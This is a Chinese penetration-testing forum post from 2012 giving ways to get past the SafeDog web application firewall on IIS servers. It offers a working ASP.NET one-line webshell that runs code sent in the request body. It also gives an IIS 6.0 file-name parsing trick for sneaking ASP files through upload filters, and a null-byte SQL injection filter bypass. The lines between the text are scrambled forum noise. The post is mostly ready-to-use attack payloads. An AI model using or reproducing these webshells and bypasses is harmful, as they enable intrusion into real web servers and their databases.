中国网络渗透测试联盟
标题:
突破安全狗防注入及上传的一些思路
[打印本页]
作者:
admin
时间:
2012-10-31 08:25
标题:
突破安全狗防注入及上传的一些思路
1、绕过IIS安全狗的一句话。
% h' D9 l$ Z, @; M* |- h
前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
& _: p/ d- [$ w
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
. g9 O( ~! T) V5 y% H0 `
" T7 [4 f/ B3 V" S2 J5 R
2、IIS6.0解析漏洞遇到安全狗。
- K; Y* \0 v, H! s( y
文件名为
/ s, k' X, ?5 s4 ~& p
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
5 h/ H+ u4 j4 R) C% @& w7 A
( v3 ?; x3 e8 b2 ^
这样的会被IIS安全狗果断屏蔽。
( @4 R4 m7 e5 E. s0 K/ i
改成如下名称,IIS6一样会解析：
- l* m9 v5 L* `- b! v7 G; J3 u
www.xxxxx.com/;1.asp;1.jpg
: y3 z% ^6 e! ?' L
{2 z* x( M. l1 q
3、安全狗的注入绕过。
: o1 F5 e% Y7 T& V' {, t
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
( K# k/ u& }* k# Z3 ~( \7 l
但如果：
( h; c1 X9 X# U4 A6 C: V$ P" N, P
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
. `, \9 ~" W; M: i8 _4 T4 y
就可以成功绕过了。
2 u* V$ O! R3 e$ `3 Z l3 s& N
# e# ~* {" h, S' D
# y& r/ |7 i- j$ W2 l4 A
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2